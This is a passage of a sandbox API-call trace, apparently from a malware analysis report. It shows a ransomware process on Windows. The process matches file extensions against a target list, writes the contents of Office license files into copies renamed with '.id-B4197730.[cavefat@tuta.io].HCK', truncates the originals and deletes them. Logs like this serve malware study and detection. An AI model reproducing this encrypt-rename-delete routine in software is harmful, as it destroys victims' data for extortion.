(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.791] lstrlenW (lpString=".doc") returned 4 [0235.791] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString=".docx") returned 5 [0235.791] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.791] lstrlenW (lpString=".pdf") returned 4 [0235.791] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString=".xls") returned 4 [0235.791] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString=".xlsx") returned 5 [0235.791] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.791] lstrlenW (lpString=".ppt") returned 4 [0235.791] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.791] lstrlenW (lpString=".zip") returned 4 [0235.791] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString=".rar") returned 4 [0235.791] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString=".bz2") returned 4 [0235.791] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString=".7z") returned 3 [0235.791] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.791] lstrlenW (lpString=".dbf") returned 4 [0235.791] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.791] lstrlenW (lpString=".1cd") returned 4 [0235.791] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.791] lstrlenW (lpString=".jpg") returned 4 [0235.791] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.792] lstrlenW (lpString=".doc") returned 4 [0235.792] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString=".docx") returned 5 [0235.792] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.792] lstrlenW (lpString=".pdf") returned 4 [0235.792] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString=".xls") returned 4 [0235.792] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString=".xlsx") returned 5 [0235.792] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.792] lstrlenW (lpString=".ppt") returned 4 [0235.792] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.792] lstrlenW (lpString=".zip") returned 4 [0235.792] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString=".rar") returned 4 [0235.792] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString=".bz2") returned 4 [0235.792] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString=".7z") returned 3 [0235.792] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.792] lstrlenW (lpString=".dbf") returned 4 [0235.792] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.792] lstrlenW (lpString=".1cd") returned 4 [0235.792] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0235.792] lstrlenW (lpString=".jpg") returned 4 [0235.792] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.792] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.792] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24 [0235.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.794] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10631) returned 1 [0235.794] CloseHandle (hObject=0x548) returned 1 [0235.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0235.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.794] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.794] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0235.795] GetLastError () returned 0x0 [0235.795] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2987, lpOverlapped=0x0) returned 1 [0235.797] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2990, lpOverlapped=0x0) returned 1 [0235.798] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.798] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x104, lpOverlapped=0x0) returned 1 [0235.798] SetEndOfFile (hFile=0x534) returned 1 [0235.798] CloseHandle (hObject=0x534) returned 1 [0235.798] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.798] SetEndOfFile (hFile=0x548) returned 1 [0235.801] CloseHandle (hObject=0x548) returned 1 [0235.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0235.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.802] lstrlenW (lpString=".doc") returned 4 [0235.802] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.802] lstrlenW (lpString=".docx") returned 5 [0235.802] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.802] lstrlenW (lpString=".pdf") returned 4 [0235.802] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.802] lstrlenW (lpString=".xls") returned 4 [0235.802] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.802] lstrlenW (lpString=".xlsx") returned 5 [0235.802] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.802] lstrlenW (lpString=".ppt") returned 4 [0235.802] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.802] lstrlenW (lpString=".zip") returned 4 [0235.802] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.802] lstrlenW (lpString=".rar") returned 4 [0235.802] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.802] lstrlenW (lpString=".bz2") returned 4 [0235.802] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.802] lstrlenW (lpString=".7z") returned 3 [0235.802] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".dbf") returned 4 [0235.803] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".1cd") returned 4 [0235.803] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".jpg") returned 4 [0235.803] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".doc") returned 4 [0235.803] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString=".docx") returned 5 [0235.803] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.803] lstrlenW (lpString=".pdf") returned 4 [0235.803] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString=".xls") returned 4 [0235.803] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString=".xlsx") returned 5 [0235.803] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.803] lstrlenW (lpString=".ppt") returned 4 [0235.803] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".zip") returned 4 [0235.803] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString=".rar") returned 4 [0235.803] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString=".bz2") returned 4 [0235.803] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString=".7z") returned 3 [0235.803] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".dbf") returned 4 [0235.803] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".1cd") returned 4 [0235.803] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0235.803] lstrlenW (lpString=".jpg") returned 4 [0235.804] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.804] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.804] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25 [0235.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.805] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=20778) returned 1 [0235.805] CloseHandle (hObject=0x548) returned 1 [0235.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0235.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.805] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.805] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0236.037] GetLastError () returned 0x0 [0236.037] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x512a, lpOverlapped=0x0) returned 1 [0236.039] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5130, lpOverlapped=0x0) returned 1 [0236.040] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.040] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x106, lpOverlapped=0x0) returned 1 [0236.040] SetEndOfFile (hFile=0x534) returned 1 [0236.040] CloseHandle (hObject=0x534) returned 1 [0236.040] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.040] SetEndOfFile (hFile=0x548) returned 1 [0236.043] CloseHandle (hObject=0x548) returned 1 [0236.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0236.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.452] lstrlenW (lpString=".doc") returned 4 [0236.452] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.452] lstrlenW (lpString=".docx") returned 5 [0236.452] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.452] lstrlenW (lpString=".pdf") returned 4 [0236.452] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.452] lstrlenW (lpString=".xls") returned 4 [0236.452] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.452] lstrlenW (lpString=".xlsx") returned 5 [0236.452] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.452] lstrlenW (lpString=".ppt") returned 4 [0236.453] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.453] lstrlenW (lpString=".zip") returned 4 [0236.453] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString=".rar") returned 4 [0236.453] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString=".bz2") returned 4 [0236.453] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString=".7z") returned 3 [0236.453] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.453] lstrlenW (lpString=".dbf") returned 4 [0236.453] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.453] lstrlenW (lpString=".1cd") returned 4 [0236.453] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.453] lstrlenW (lpString=".jpg") returned 4 [0236.453] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.453] lstrlenW (lpString=".doc") returned 4 [0236.453] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString=".docx") returned 5 [0236.453] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.453] lstrlenW (lpString=".pdf") returned 4 [0236.453] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString=".xls") returned 4 [0236.453] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString=".xlsx") returned 5 [0236.453] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.453] lstrlenW (lpString=".ppt") returned 4 [0236.453] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.453] lstrlenW (lpString=".zip") returned 4 [0236.453] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.454] lstrlenW (lpString=".rar") returned 4 [0236.454] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.454] lstrlenW (lpString=".bz2") returned 4 [0236.454] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.454] lstrlenW (lpString=".7z") returned 3 [0236.454] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.454] lstrlenW (lpString=".dbf") returned 4 [0236.454] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.454] lstrlenW (lpString=".1cd") returned 4 [0236.454] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0236.454] lstrlenW (lpString=".jpg") returned 4 [0236.454] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.454] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.454] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26 [0236.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.455] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11581) returned 1 [0236.455] CloseHandle (hObject=0x4b0) returned 1 [0236.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0236.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.456] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.456] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.456] GetLastError () returned 0x0 [0236.456] ReadFile (in: hFile=0x4b0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0236.459] WriteFile (in: hFile=0x4d4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0236.460] ReadFile (in: hFile=0x4b0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.460] WriteFile (in: hFile=0x4d4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x108, lpOverlapped=0x0) returned 1 [0236.460] SetEndOfFile (hFile=0x4d4) returned 1 [0236.460] CloseHandle (hObject=0x4d4) returned 1 [0236.460] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.460] SetEndOfFile (hFile=0x4b0) returned 1 [0236.462] CloseHandle (hObject=0x4b0) returned 1 [0236.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 